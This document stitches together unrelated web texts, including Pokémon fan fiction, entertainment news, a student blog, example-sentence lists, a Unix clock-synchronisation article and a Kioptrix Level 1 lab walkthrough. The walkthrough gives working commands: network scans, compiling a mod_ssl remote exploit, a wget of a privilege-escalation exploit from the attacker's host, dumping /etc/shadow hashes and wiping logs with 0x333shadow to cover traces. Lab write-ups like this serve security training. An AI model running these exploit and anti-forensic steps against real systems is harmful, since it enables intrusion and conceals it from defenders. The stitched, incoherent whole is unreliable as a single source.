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June 16th, 2012 (3:31 AM). Edited August 11th, 2014 by bewbs.
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Spiritomb would often speak in pride about his two daughters. I had only seen his youngest, Little-Wit. I think that Little-Wit is most likely to be his favourite daughter, he talks about her the most. I'm sure he loves Minerva just as much, but I don't think they really see each other. To be fair, Spiritomb is very lucky to be able to see his direct family. Not many pokémon from the working class can say that they're still in contact with their biological relatives.
The same could go for the domestic class. Pokémon get captured, released, traded away, sent to day care and get to travel. There were a lot of pokémon social classes acknowledged, but the class terms are only used in education institutions nowadays.
At this current moment in time, there were 649 species registered as pokémon in the national pokédex. Back when I was a chansey, they didn't have national dexes. Pokédexes were pretty poor because they only did regional dexes, pokémon that originated from other regions where classified as missingno. The healing machine wrongly diagnosed them with the Hacked Syndrome and they didn't enforce the Drug Protection For Pokémon Act properly until I worked here.
Regardless of Spiritomb's state of mind, he would have been considered a glitch to the pokédex, because his species was registered under Sinnoh's pokédex. They had recently added pokémon that originated from Unova onto the national pokédex, so Spiritomb's daughter, Little-Wit would have been officially seen by the Pokémon League as a pokémon.
They were still major flaws in my opinion, although I can see it's improvements. Kanto had always been the ultimate pokémon region. If a pokémon didn't originate from Kanto, then it wasn't a pokémon according to the experts at the time. Then they added pokémon from Johto, Hoenn, Sinnoh and Unova respectively.
The pokémon god, Arceus wasn't added to the national pokédex until they added all of the Sinnoh pokémon. It was shocking that hardly any trainers (apart from the ones that specialise in ghosts) knew about Arceus until he was added by the league. Don't they teach religion any more? Criminal gangs know more about pokémon than the league does, but they're slowly catching up with the help of Bulba University, Smogon University and the University Of Orre.
The former Gym Leader of Viridian City discovered that Rhydon could evolve in the same underground clinic I used to work for in Kanto. He also owned Team Rocket and quickly evacuated when defeated by a young boy who would eventually become the Kanto Champion. The underground clinic was converted into underground trains. Although Little-Wit has told me that they've reserved some of the clinic as museum.
Little-Wit sat quietly in the staff's lounge, munching on assorted berries. Next to her, was a mismagius, whom I've never met before. I assumed it was Little-Wit's older half-sister, Minerva. On the opposite side of them, Sparkles was spending her lunch break sleeping.
"Hi Matron," Little-Wit said. "When does Dad's shift end?"
"He'll be out soon," I replied. "I told him to have a bit of a rest before he goes home. So... how's your mother been?"
"Our mothers are gone," Little-Wit responded. She tilted her head down as she continued with, "They were traded away to someone from Brazil."
"You must be Minerva then?" I asked with my eyes on the mismagius. They both nodded as Minerva hand-picked the darkest berries left.
"Yes," Minerva nodded her head. "I'm a care assistant at Lavender Town Nursing Home."
"It used to be a beautiful place," Little-Wit added. "Until they converted Pokémon Tower to a radio station. It was a lot of fun when it was a cemetery."
"Lavender Town's still a nice town," Minerva objected. "A lot of people were sceptical about the radio tower, but we've gotten use to it now. Why they did it? I don't know, but Mr. Fuji has built a memorial house next to where I work."
"Mr. Fuji's a nice man." He came several times to the underground clinic, requesting that they took greater responsibility of the pokémon in their care. One of his relatives was involved with trying to get Mew pregnant.
Minerva didn't speak much about herself other than the fact she worked in a nursing home. Little-Wit had discussed about her time in Lavender Town until Spiritomb came into the staff room.
"I've booked the two weeks off," Spiritomb told us. "I'll be spending a lot more time with my little gem."
"What about me?" Minerva asked.
"And you too Matilda," Spiritomb asked.
"...It's Minerva. Matilda's been traded away," Minerva moaned. There was a tint of sadness in the tone of her voice. Little-Wit was too young to notice it, but I could. "Maybe you should go to the respite in Celadon for a while."
"Why do we have to go to Celadon?" Spiritomb asked. "I thought you worked in Lavender Town?"
"Oh I still do," Minerva responded. Her enthusiasm seemed to increased at the sight of her father's deteriorating. "You'll need a rest after working so hard. Come on, Agatha's waiting for us."
"Sure," Spiritomb said. "Let's hope she wins big on them slot machines."
"I think we'll be visiting Bertha first," Little-Wit said, looking up to her father. "She's not been very well lately."
"Oh that's unfortunate," Spritomb said. "Her quagsire was in not so long ago." Spiritomb followed his daughters out of the staff room. Before leaving the room, he turned around and said to me, "see you in a fortnight, Matron!"
Sparkles remained laying flat on the chairs. There was nothing else for me to do here: my lunch break had ended. I could still hear Sparky, the pikachu from the A&E ward wailing in agony. The injuries he sustained were vicious, but losing his trainer was what left him distraught. If Sparky keeps going, he'll develop a soar throat. Telling him to stop would only make it worse. I don't think it's right to tell someone when to stop grieving. I'm sure it will all be fine by the time he's ready to sleep.
I went into the discharge ward to have a check up on some of the patients. They need access to fluids at all times. I was happy to see that Mr. Fierce was there, but I had hoped that he would have been gone.
Mr. Fierce was in-between a sleepy bisharp, known as Bishop and a timid cubone named Phantom. Phantom was a strange cubone. He collapsed in the shopping centre from deficiency in nutrients. He was also one of the fussiest eaters I had ever met, but he also seemed to have valid reasons. We had to put him on the drip because we were concerned that he may die of hunger.
And all he'd ever eat was spinach and cabbage. As healthy as they are, he needed much more than greens to gain health.
Phantom's ribs above his stomach and spikes on the tail horrified me. This Cubone had anorexia nervosa. Luckily we managed talk to his trainer about introducing regular meals and a healthy and balanced diet. Phantom's trainer had been going through diet fazes which Phantom had tried to picked up on, but confused him along the way.
"I can't have this drink," Phantom announced. Holding his bone in both hands he pushed the drink to the corner of the table.
"Of course you can," I said.
"I'm diabetic I can't drink it."
"I'm aware of your diabetes," I assured Phantom. I held the drink to him and told him, "but this juice is suitable for diabetic people." This reminded me of the times where he had his dinner. On his first night in the hospital, he refused to eat his beef lasagne because he said he was a vegetarian and that he was on the Atkins diet so he couldn't have any food with carbohydrates in them.
One time he was served an omelette, but he refused to have it because he said he was a vegan. He wouldn't have his pudding because he was scared it would effect his diabetes. In the end, the other pokémon patients would polish his plate on his behalf.
Pokémon should never go on those kind of diets. Never!
"Go on have it!" Mr. Fierce told Phantom. "You don't want to go on the drip again."
With his free hand, Phantom reached for his blackcurrant juice and took a sip. Bishop's eyes shot open. He jumped on the bed when he saw Phantom drinking.
"Oh my goodness," Bishop cried. "Phantom's having something."
"Well done Phantom." I patted his head as he tucked into a bowl of peanuts.
"Was I asleep for long?" Bishop asked.
"Not really," croaked Mr. Fierce. "That pikachu's still at it though. I couldn't really sleep that much to be honest."
"I didn't get a wink of sleep last," Bishop confessed. "I was in A&E and the noise was dreadful. And I thought my wounds were bad, but everyone else seemed to have it twice as worse as me."
As I walked away from Mr. Fierce, Bishop and Phantom, I wondered how much Kanto had changed since I left. From what Minerva and Little-Wit have said, it seems to have changed immensely. I wonder if they'll start making dangerous drugs such as action replay, game shark, game genie, and equalizer illegal? Action Replay Pills were still commercially available in Kanto.
Maybe if they stopped selling it, so many pokémon wouldn't die from the hacked syndrome. The hospital's expert of the hacked syndrome will be on holiday for two weeks, we had a reputation of giving the best care to people with that disease. Will be still be able to save lives without Spiritomb's assistance?
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CG Night Of The Living Dead Grabs Voices
The Romero re-imagining shuffles onwards
Like the unstoppable march of the slavering undead themselves, Night Of The Living Dead: Origins, the CG re-interpretation of George A Romero's 1968 horror classic is still headed for our screens - and now it has actors attached.
Jesse Corti, Danielle Harris, Bill Moseley, Alona Tal, Joe Pilato and Cornell Womack have all signed on to provide vocal performances for director Zebediah de Soto and producer Simon West.
As in the original, the story will follow a group of humans (including, in this case a news reporter, a Wall Street yuppie type and a no-nonsense Noo Yoik cop) as they try to survive the zombpocalypse.
There are even a few nods to Romero's work here - Moseley is a veteran of the 1990 remake of Living Dead, while Pilato was among the cast of 1978's Dawn Of The Dead.
And de Soto has been talking to The Hollywood Reporter's Heat Vision blog about the film, noting that it was a big influence on someone who spent their youth away from TV. "When you're not allowed to watch TV and then you see this movie where this broadcaster speaks about this (zombie) disaster, it translated as so real to me."
He's got big plans for the look of the film, which will make full use of the CG tech to break the usual siege mentality of zombie movies (whether this is a good or a bad idea remains to be seen, of course):
"I wanted to make this look like a living Monet; it's expressionism. It's going to be the first zombie movie played on a epic scale. This is the Empire Of The Sun of zombie films.
"I lived through the LA riots and saw the city on fire; I remember seeing people running, people getting pulled out of cars. And with 9/11, these images have been ingrained on people of my generation. I just thought that is the way it would really be, a lot of chaos."
So, Romero fans - solid plan or sheer sacrilege? Let the debate start in your brains. Mmmm… Brains.

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Watch video on-line: http://g0tmi1k.blip.tv/file/4845917/
Download video: http://www.mediafire.com/?r3327dt3re397hb
Brief Overview
Kioptrix is another "Vulnerable-By-Design OS" (like De-ICE, Metasploitable and pWnOS), with the aim to go from "boot" to "root" by any mean possible. This video demonstrates a well-known out-of-date issue in "mod_ssl". Because it wasn't too complex, I extended the video by removing the attacker from some log files.
* Scan network for hosts (nmap)
* Scan target for running services (nmap)
* Scan target for running web services (nikto)
* Discover and run exploit (Open****V2)
* Gain root (Open****V2)
* Game Over
* Modify logs (0x333shadow)
What do I need?
* Kioptrix - Level 1 VM. Download here (Mirror: Part 1 MD5:4F08E9FD3C4C1A4D85D0E9E79FC3A44D, Part 2 MD58DB6CE65652880327B92150B08106EA)
* VMware player OR workstation. Download here
* nmap – (Can be found on BackTrack 4-R2). Download here
* nikto - (Can be found on BackTrack 4-R2)
* Internet Browser – (Firefox can be found on BackTrack 4-R2)
* A Text Editor – (Kate can be found on BackTrack 4-R2)
* Open****v2.c – (Can be found on exploit-db.com)
* ptrace/kmod local root exploit – (Can be found on securityfocus.com)
* 0x333shadow.tar – (Can be found on packetstormsecurity.org)
A quick general nmap scan shows what host are on the network currently, before doing a more detailed scan on the target (192.168.0.111). By doing this, nmap shows what possible services (ports) the target has running, try to identify the operating system (OS) and versions. The result of this is:
* OS: Linux v2.4.x (2.4.9-18)
* Web Server: Apache httpd 1.3.20 ((Unix) (Red-hat/Linux)) mod_ssl 2.8.4/OpenSSL 0.9.6b
The next stage was to use nikto to allow the attacker to detect what vulnerability(s) were being run on the web server. Nikto identities that the version of mod_ssl is "vulnerable to a remote buffer overflow which may allow a remote shell" [CVE-2002-0082, OSVDB-756].
The attacker then searches an exploit database (exploit-db.com), which return a couple of exploits. The chosen exploit was labelled as "Open****V2.c".
The exploit needed to be modified to compile on the attackers computer due to updated library files for OpenSSL, as well as updating the link for the privilege escalation exploit.
After the exploit has been compiled, the attacker looks up the details on the targets environment (from the nmap and nikto scans before) and runs the exploit. After which, not only has the attacker successfully gained a remote shell, the attacker also has "root" access on the targets system.
As the exploit targets "mod_ssl", it inherits the same privilege as the user which is running the service (in this case "apache"). If the current privilege isn't enough for the attacker to reach their goal then they must use privilege elevation attacks to gain further access to the system. In most cases, the targeted account would be the highest user, "root". This would allow the attacker to control anything on the target's system.
Once the attacker has a remote shell, the next few commands check the objective (which is displayed on the login screen locally) and the local environment as well as the password file.
The attacker has been using their machine directly, as well as hosting all the necessary files on their machine, therefore, to attempt to cover their traces they remove their IP address from various locations. This is done by using a program called "0x333shadow".
The attacker runs 0x333shadow which removes traces of the attackers IP in all default log directories, binary files (utmp, wtmp, utmpx, wtmpx, lastlog) as well as scanning "syslog" and "newsyslog" to try and detect other log locations. The attacker commands 0x333shadow to remove the logs after 5 seconds of running the 0x333shadow, allowing them to remove all traces of the program itself.
Code:nmap 192.168.0.0/24 -n -sP -sn nmap 192.168.0.111 -O -sS -sV -v clear cd /pentest/scanners/nikto ./nikto.pl -host 192.168.0.111 -Display 124 Firefox: Search (exploit.db): OpenSSL -> Download #http://www.exploit-db.com/exploits/764/">http://www.exploit-db.com/exploits/764/ cd ~ gcc 764.c -o exploit -lcrypto kate 764.c -> Add: #include <openssl rc4.h> -> Add: #include <openssl md5.h> Firefox: Search (Google): ptrace-kmod.c. Download: http://downloads.securityfocus.com/vulnerabilities/exploits/ptrace-kmod.c cp ptrace-kmod.c /var/www/ start-apache -> Replace: wget 192.168.0.33/ptrace-kmod.c -> Save gcc 764.c -o exploit -lcrypto ls ./exploit ./exploit 0x6b 192.168.0.111 443 uname -a #cat /etc/*-release whoami cat /etc/issue mail 1 exit cat /etc/shadow cd /var/log && grep -r 192.168.0.33 ./ * Firefox: Google -> Search: 0x333shadow.tar.gz. Download: http://dl.packetstormsecurity.net/UNIX/penetration/log-wipers/0x333shadow.tar.gz * tar xvf 0x333shadow.tar.gz * cd 0x333shadow * ls * cp 0x333shadow.c /var/www/rmLogs.c cd /tmp wget 192.168.0.33/rmLogs.c gcc 0x333shadow.c -o rmLogs -D Linux ls ./rmLogs ./rmLogs -a -i 192.168.0.33 -l 5 && rm -rf * locate .bash_history cat /home/john/.bash_history cat /root/.bash_history uname -a && whoami #--------------------------------------------------------------------- root:$1$XROmcfDX$tF93GqnLHOJeGRHpaNyIs0:14513:0:99999:7::: john:$1$zL4.MR4t$26N4YpTGceBO0gTX6TAky1:14513:0:99999:7::: harold:$1$Xx6dZdOd$IMOGACl3r757dv17LZ9010:14513:0:99999:7::: #---------------------------------------------------------------------
* This is a well-known old vulnerability, and has a few different variations on the exploit.
* Open****V2.c (which uses "ptrace-kmod.c" might not gain "root" if the target doesn't have gcc installed or not using a vulnerable kernel version.
* The attacker may be logged by another service, which 0x333shadow might not remove.
* Just because the logs have been deleted, doesn't mean you have covered all traces. For example, forensics tools can recover deleted files.
* As the target only communicates with attacker, instead of using a 3rd party, it helps simplify with removing logs.
Song: Rocco – Everyone 9.0 (Single Mix) & Kompulsor – Around the World (La La La La) (Single Edit)
Video length: 06:22
Capture length: 19:31
Blog Post: http://g0tmi1k.blogspot.com/2011/02/video-kioptrix-level-1-modssl.html
Forum Post: http://www.backtrack-linux.org/forums/backtrack-videos/38314-%5Bvideo%5D-kioptrix-level-1-mod_ssl.html#post190751


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Chilean birthday tops 'camping' trip
In my previous article, I mentioned that I would be going on a camping trip with my family. Well, we went, and "camping" isn't really the word I would use. It was more of a, "going to one of the houses on one of the farms that my uncle owns in the middle of farm country."
Don't get me wrong, I had a lovely time sitting around eating meat, but when my family said, "camping" I actually thought we'd be camping. "Roughing it" in the words of my mother apparently just means not having a shower. She should have seen (and smelled) me last summer after six days in the Boundary Waters.
Aside from eating loads of meat, we played capture the flag, fed crazy chickens, made disgusting tomato sauce and drove through a cow barn and saw the scariest cow ever. (Her eye was protruding about three inches out of its eye socket).
All of the cousins were piled in to a truck and all of us started screaming our heads off when we saw this cow. It was disgusting.
On Wednesday morning, I was greeted with presents and hugs from my family; it was my birthday! My mother gave me fancy earrings made out of a traditional Chilean stone, my sister gave me my favorite candy in the whole entire world, and my father gave me "Lion King" One and "Lion King" Two in Spanish.
You could say that my day started out pretty darn awesome.
When I arrived at school, I was greeted with kisses and hugs and wishes for a happy birthday. I received more of my favorite candy from my friend Jorge. He even knows me well enough to have put my gift in a bag decorated with cats.
After school, I had a couple of my friends over to hang out. I jokingly told my friend Javier that I was sad he didn't get me a gift.
He instantly proclaimed, "I'm such an idiot. I can't believe I forgot a gift!" I told him it was no problem, but he insisted on getting me a gift.
He told me that he was going to get me a cat because he knows how much I love cats. It's almost unhealthy how much I love cats. So he then called some of his friends who he knew could get me a cat and arranged to buy me a cat. This whole time I'm thinking, "What on earth is he doing!?"
I told Javier that I couldn't accept this cat despite how much I wanted it. What would I tell my parents if I just randomly came home with a cat one day?
So fortunately and unfortunately I did not get a cat for my birthday. On the upside, I had a lovely time enjoying my other gifts. Turns out, "Lion King" is almost better in Spanish. In a way, it just seems happier.
I must say that I was devastated when I found out that the Spanish version is a different story than the one you and I are familiar with. I started crying an extra time while I watched in horror as Simba sang a song with a groundhog. I wanted to crawl in a hole and live there for a couple days. I just couldn't believe it.
Even though I missed out on my usual birthday activity of camping at Itasca with my family and best friends, my birthday in Chile made up for it. It was definitely a day that I will never forget.
I'm looking forward to all of the other days of this year, a year that I know will change my life forever.
Berit Ramstad Skoyles is a junior at Detroit Lakes High School but is studying aboard this year in Chile.


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In honor of this, our 60th Recidivism.org post (huzzah!), what say we switch up the ol' subhead. Seeing as how some of us check the site regularly during our work day and seeing as how some or, in my own case for instance, many of our departmental collegues are women who may happen to pass by and glance at our screen and, upon reading Recidivism's somewhat provacitive to the uninitiated (albeit hilarious to us) subhead, wonder or even ask directly, "Umm...what is that site about?" And then we might have to awkwardly stumble through an explanation of said subhead, placing great emphasis on the comedic merits of The Office which really must be seen to understand and yet, inevitably, has been seen by NO ONE in our offices other than ourselves. Hence, said explanation may fall short of a suitable response to the "curious" party's inquiry, leaving what can only be described as palpable awkwardness hanging around one's workspace.
So I ask, given this "hypothetical" situation, for consideration, knowing full well that do so also invites the subhead to grow larger, bolder and ever more noticeable. What say you all?


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At Haru while having lunch with the nicest model manager you could imagine, the following happened. As usual, the talk had turned to agency gossip. Not malicious, or particularly competitive but just...idle. " Yeah and Gemma Ward's been looking particularly happy these days". he said in a fairly loud voice, "Cause as we all know she's not always the happiest camper" I sat facing the door, so I could see, literally as he spoke the approaching figure of...Gemma Ward, in these little denim hot pants and a totally non-descript tank top with that model staple, an army coat thrown over it. She looked great, tall and slimmer than the last time we glimpsed her with long tousled blonde hair, looking very much like a beautiful teenaged tourist. She was with her IMG agent. I completely blanched and my lunch companion followed my eyeline to its conclusion. At that point we burst out laughing.If this were a scene in a movie, the audience would go..."Yeah Right!" Poor Gemma probably felt over scrutinized at this point and whether under the weight of our gaze or by pure chance, Maja and Gemma soon elected to take an outside table. I waved hello as they went by and left it at that.
TI FLASHBACK: MODELSPOTTING, ART BARONS AND THE FACE OF THE ZEROESSubmitted by Wayne on Fri, 2014-09-19 03:26.
THE NEW YORK MODELING INDUSTRY'S NEW CONSTELLATIONSubmitted by Wayne on Tue, 2014-02-04 17:11.
If drama were a currency, the modeling industry would be one of the most cash flush industries on the face of the earth.
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She was a SS12 Givenchy exclusive in a sea of exclusives and still to this day I'm remembering the conversation I had with Ms Kruger at the end of Paris Fashion Week.
Hye's Punk Chic SwaggerSubmitted by Wayne on Thu, 2011-09-08 17:39.
TRULY THE EVERYTHINGSubmitted by Wayne on Mon, 2011-05-09 21:02.
SHADOW AND STEALTHSubmitted by Wayne on Thu, 2011-03-17 19:55.
BUT IS SHE RELEVANT?Submitted by Wayne on Tue, 2010-10-26 21:28.
Hanaa Ben Abdesslem Is The EverythingSubmitted by Wayne on Wed, 2010-10-13 20:22.
ALLEGRA SUMMERFIELD AT IMG: A RELEVANT BEAUTYSubmitted by Wayne on Thu, 2010-09-02 23:56.
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Punters have been praying for that VS stunner who would cross back over to the kind of high editorial credibility last seen in the form of Gisele.


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They sailed over to Jutland to the south of Vendilskage, and so south to Thioda; and over all they carried fire and sword.
Among the towns of Jutland, Viborg justly holds a high place.
The Skagerrak (Jutland) battle has proved what the fleet meant and what it was worth.
But sometimes this is necessary, as it was following the Jutland Battle.
Aarhuus , a port on the E. of Jutland, with a considerable export and import trade, and a fine old Gothic cathedral.
I had seen ships crushed into wrecks on the west coast of Jutland.
Aalborg , a trading town on the Liimfiord, in the N. of Jutland.
Aarhus, the capital of Jutland, is the second oldest town in Denmark.
The mighty naval battle of Jutland had quickly transformed itself from a defeat into a brilliant triumph.
At the point of Jutland, and opposite Shagen, beds less productive are found.


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An irate man, Lu Jianbo, attacks a woman with a knife, repeatedly stabbing her while neighbors scream, but otherwise do nothing.
Ron Paul describes his own supporters as "a tireless, irate minority."
An irate Spaniard went through his sister to hire six Colombians to kill his boss before he could lay him off.
"I skipped one year in Dallas, and they were just irate," she says.
Fuller was irate, and he and NBC reached a compromise: The show would air as a one-hour, stand-alone broadcast on NBC.
In an instant he was dripping with beer thrown at him—glass and all—by the irate Quell.
"Hold your tongue, you horrid little animal," said the irate Juliette.
At this juncture the first thief appears and demands the tart, whereupon the irate pastry-cook turns his rage upon him.
It was an independent and irate England which spoke in Coke.
Behind it was an irate countenance, nearly covered by an unclipped beard of a dirty gray color.
1838, from Latin iratus "angry, enraged, violent, furious," past participle of irasci "grow angry," from ira "anger" (see ire).


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NEW research has given weight to a theory a lot of veterinarians have had for many years - that a dog in the home results in healthier children.
Dr Peter Higgins, veterinary adviser and spokesman for Dogs NSW welcomed the new findings.
"It is exciting to prove that children with dogs are healthier, and suffer fewer infections, than children in a pet-free home," he said.
"It appears that children with dogs have a better immune system than those that don't have dogs.''
The research was conducted in Finland by a university hospital. Respiratory diseases and other infections were tracked and recorded over a period of one year.
The results were conclusive. Children with dogs had less respiratory problems and fewer infections. Their general health was better than those children that did not have dogs as pets.
"It's no surprise to me that children with dogs are healthier. I have noticed this quite a lot in over 20 years of being a veterinarian," Dr Higgins said.
"This can be explained by thinking that a dog that is constantly around a child is like a continuous vaccination. It builds immunity in small doses."
The research also showed that dogs had to spend time outdoors to produce the best results. The theory is that dogs bring in germs from the outside world and this builds the immune system of children in the early stages of development.
"Previous research shows that children need to be exposed to low levels of microbes from lots of different sources at an early age," Dr Higgins said.
This exposure builds resistance to infections and there is evidence to show a reduced number of allergy sufferers as well."
The research did not answer the question of how long the increased immunity lasted.
"I guess the question is now do we have one dog as a vaccination early in our childhood or do we need booster shots by having a dog around as we grow older?" Dr Higgins said.


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Video: Arcade Fire Welcome President Obama on Stage, Win Butler Saves Fan
Arcade Fire is back in the states for their Reflektor tour and plenty has happened in their first few shows to report on. During their first two shows in Win Butler's home state of Texas, the band has covered Blondie's "Heart of Glass," paraded through the crowd during "Wake Up" and invited several political figures on stage.
While both nights featured a digital bobblehead of Texas Governor Rick Perry, none other than President Obama himself graced the Arcade Fire stage during last night's show. Not sure if the band knew (they probably did) but the actual President Obama was also in Texas during the show. Also joining Obama and Perry was none other than Pope Francis. For those keeping score at home, that's a mayor, senator, governor, president and pope who have made it onto the Arcade Fire stage. Technology is awesome.
Check out a clip of the band covering Prince's "Controversy" with Pope Francis on stage.
In other, more disturbing news, a video has surfaced of an audience member in the front row during the band's Cleveland show who was clearly in need of some assistance. Frontman Win Butler stopped the band midway through "Sprawl II" to run to the aid of this young person. Butler, along with the help of some security, pulled the unconscious person out of the crowd where he was then whisked off to (hopefully) safety.


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Medical Definition of Orthopedist
Orthopedist: An orthopedic surgeon, a physician who corrects congenital or functional abnormalities of the bones with surgery, casting, and bracing. Orthopedists also treat injuries to the bones. Sometimes spelled orthopaedist.
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Unix Insider –
About ten years ago, Dennis Ritchie posted the question "What time is it?" on net.general, then the catch-all for USENET traffic of interest to the masses. Dennis was poking fun at messages (and their authors) that arrived several days after bearing any sense of relevance. The "what time is it?" probe demonstrated that USENET isn't a good source for a watch-setting consensus. The underlying problem, however, is not setting just one clock on one machine, but instead keeping an entire network of machines synchronized with respect to a global, reliable time source and with respect to each other.
Accurate time-keeping affects many day-to-day functions as well as issues critical to system administrators:
- File modification times are consulted by
make, so skewed desktop clocks may result in erratic actions.
- Secure RPC, NIS+, and Secure NFS rely on timestamps for verifying requests. Client clocks that stray into network tardiness result in rejected requests.
- Digital signatures or transaction timestamps that are used to sequence events must refer to a time base that is not machine dependent.
- Attempts to correlate network activity, performance data, and system log messages from multiple hosts require a single, global timepiece for the network. You can't track a performance problem across several machines if you can't lay out events on a single, absolute timeline.
Put simply: how do you keep the software watches of hundreds or thousands of systems synchronized, particularly when they are spread around the world, and how do you make sure that your sense of time matches that of the rest of the computing world? This month, we address the question of what to do when your sense of time bombs. We'll start with an overview of how Unix systems keep track of time, We'll look a simple method for synchronizing Unix system clocks, and take a peek at the Network Time Protocol, a small dose of Swiss perfection you can bring to most Unix and Windows NT machines.
A brief history of time, in 64 bits or less
Time is suddenly in vogue for technical discussion. Impending software meltdowns due to the two-digit year rollover in 2000, and estimates of the amount of work required to fix every picayune date reference have displaced Internet mania on the covers of our trade press. The hysteria has clouded the issue slightly, since the problem with date rollover only exists if your systems do math on two-digit year values. If you designed a database with the year ranging from 00-99, you will have saved a few bytes per row but created a software headache for someone else. Lotus 1-2-3, Microsoft Excel, and other products skirt the 1999-party-over problem by using 100 to refer to 2000, 101 for 2001, and so on, extending date fields to three digits when the millennium arrives.
On Unix systems, the current time is decoupled from any particular year or representation. The time is stored as a 64-bit value representing the number of seconds elapsed since January 1, 1970. The year 2000 isn't a problem, but sometime in January 2037 the Unix time counter will roll over and cause another trade press crisis. The time counter is relative to Greenwich Mean Time (or Universal Mean Time) and is converted into local time using the information in the timezone file /etc/timezone. Choosing UMT as a baseline means that (in theory) all Unix systems should have exactly the same 64-bit time counter at any point in time. We'll see how that simplifies time management protocols later on.
Accurate time keeping affects nearly all of the file-based operations on a Unix system. Every Unix file has its modification and access times recorded in the inode. The modification time is used by backup utilities, NFS, and the local virtual memory management system for maintaining consistency of in-memory file cache pages. Note that no creation times are not kept in the filesystem. If you want an audit trail of when a file was created and modified, you'll need to use a source code control system such as SCCS that tracks each change.
Given that system clocks tend to drift apart, NFS client systems compensate for "impossible" clock values with slight modifications to basic commands like
ls. Normally,
lsshows you the day and modification time of a file if it is less than six months old, otherwise it shows you the month, day and year:
 duey% ls -l total 38 -rw-r--r-- 1 stern user 18631 Apr 15 1995 time.txt
What if you create a file on a machine whose clock is slightly ahead? You'll confuse
lssince it's subtraction of modification time from current time yields a negative number. The NFS-aware
lsaccepts a clock drift window of a few minutes, and does the visually right thing with such files.
If you're bothered by inconsistent file modification times, you can always explicitly set them using
touch(or perhaps
/usr/5bin/touchto access the System V version). To find all of the files created since a certain time, use
findand a timestamp file. The following example creates a timestamp file dated April 15, 1996, 2:15 PM, and then prints out files in /home/stern that have modification times more recent than the timestamp:
 duey% touch 04151445 /tmp/timestamp duey% find /home/stern -newer /tmp/timestamp -print
If you're using a Secure RPC service, such as Secure NFS or NIS+, you also need solid time management to ensure that timestamp verifiers generated by a client are accepted by the server. The Secure RPC client encrypts the current time and passes it to the server, where it is decrypted to look for out-of-order or old requests that might signify a replay of a previous request. If you get messages like "auth-def validator mismatch" or "NIS+ received an invalid time stamp," your client clock has drifted too far behind the server's, and the server is rejecting Secure RPC requests.
As an increasing number of network services depend on timestamps, verification, and sequencing, it's a good idea to get your house's clocks in order. We'll start by going all the way down to the interrupt level to see how Unix tracks time.
Dali would be proud: Driving the soft clocks
When you set the time using
date, you're really setting an on-board, battery-backed hardware clock. You've probably noticed that your Sun systems retain their sense of time, even when powered off or between reboots, since the hardware clock keeps ticking even when you're not clicking. In an ideal world, you would set your system's clock once when you installed it and forget about it, letting the Unix kernel read its on-board watch to keep track of time.
The real world is less forgiving: your initial setting can only be as accurate as your own watch or time source, so with multiple administrators or multiple sources, you generally get slightly skewed system clocks. The hardware clock will exhibit some natural drift, but at a second or two per month it tends to be lost in the noise of variations in wristwatch settings used to set the time. What you need to worry about, however, is drift between the software clock and the hardware clock caused by system load. Despite this long wind-up on the virtues of a hardware clock, there's some software involved that keeps the user- and system-visible sense of time.
All Unix systems are driven by a hardware clock (hardclock) that interrupts at regular intervals. In the case of Sun's SPARC-based systems, the hardclock runs at 100-Hz, generating 100 interrupts a second. Hardclocks act as a system heartbeat, providing a steady drum beat to drive the scheduler and implement timeouts for system operations such as TCP transmissions and RPC requests. Note that the hardclock and the hardware clock are two different things: the hardclock is a source of constant interruption, and the hardware clock is a built-in I/O device that can be set and read.
On the surface, getting the system time should be as easy as reading the hardware clock. However, the current system time is used throughout the filesystem and virtual memory code for comparing timestamps, so it has to be accessible with minimum latency and overhead. Reading the hardware clock is much less efficient, and much slower, than reading a value out of memory. To avoid constantly referring to the hardware clock, the Unix kernel uses the hardclock to drive a software clock. That is, at boot time, the kernel reads the current version of the hardware clock into a 64-bit chunk of memory. In the interrupt handler for the hardclock, the softclock is incremented by 10 milliseconds. Voila -- parallel software and hardware clocks. Unfortunately, the software timepiece drifts quite frequently.
While your sense of time is important, other system events take precedence over the hardclock. Incoming characters on a serial line, for example, may not wait around while the system processes events on a timeout queue. The serial device needs to be read and reset as quickly as possible to avoid dropping input characters. The virtual memory system also masks hardclock interrupts while it updates memory management unit entries, or manipulates address space kernel structures. Put a high serial I/O load on the system, or thrash your address spaces, and you're going to miss hardclock interrupts. When you miss a hardclock, the software clock falls behind. Miss enough, and your Unix system clock appears to be running slowly.
The softclock has a built-in adjustment mechanism. Periodically, it checks the value of the hardware clock, and determines if it needs to catch up. If the software clock is behind, it will slowly adjust itself by adding two or more "ticks" per hardclock until hardware and software are synchronized again. The incremental adjustment is known as the clock slew rate. The software clock catches up slowly to avoid abrupt changes in the user-visible time. If you are consistently missing hardclocks, the slow-sync approach may never get you caught up; you'll fall behind faster than the slew rate makes up for lost ticks. If this is a problem, you'll see two obvious symptoms. First, your system's clock will be losing time, and second, the clock interrupt rate shown by
vmstat -iwill be less than 100 per second:
 duey% vmstat -i interrupt total rate -------------------------------- clock 95738328 99 fdc0 510691 0 -------------------------------- Total 96249019 99
The clock interrupts are not counted in the generic output of
vmstat, but appear in the interrupt breakdown shown above. If you see the interrupt rate drop to 99 per second or lower, it's time to lighten your system load or use some aggressive clock management. We'll look at a simple
rdate-based scheme and then cover the Network Time Protocol, a finer-grain and gentler time management system.
"What Time Is It?" revisited
Included in the bevy of Berkeley r-commands is
rdate, the equivalent of the
datetime-setting command that takes its input from another host on the network, in this case the machine timepiece:
 duey# rdate timepiece
The result will be system clocks that are synchronized to a common source, and accurate within a few seconds. Many system administrators stick an
rdatecommand in the crontab file, forcing clients to synchronize once a day or even once an hour with a well-known server. If you do go the
rdateroute, make sure you redirect all of your output streams using a crontab entry like the following:
 0 * * * * rdate timepiece > /dev/null 2>&1
If you don't catch stdout and stderr,
rdate's confirmations will show up in root's mailbox, courtesy of
cron. A simple approach to
rdatesynchronization is to have each NFS client talk to one of its NFS servers, and have the servers talk to a common, local time source. You can replicate this setup across multiple LANs, where cross-network time synchronization may not be as much of an issue if you aren't sharing PGP-signed messages, NFS mounted filesystems or NIS+ servers.


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The shocking finale of "Grey's Anatomy" Season 9 left viewers with several questions – is Dr. Richard Webber dead or alive? What will happen next for Arizona and Callie?
Entertainment Weekly spoke with Executive Producer Shonda Rhimes to answer some of those questions.
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"That's such an interesting question! I love that people are asking that question," Rhimes said when asked if Dr. Richard Webber had died.
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"Clearly, by the end of the finale, you understand that something for Arizona is permanently damaged and lost."
"What you see in her very core is that Arizona does not forgive Callie for promising her that she would not amputate her leg and then amputating her leg," Capshaw added.
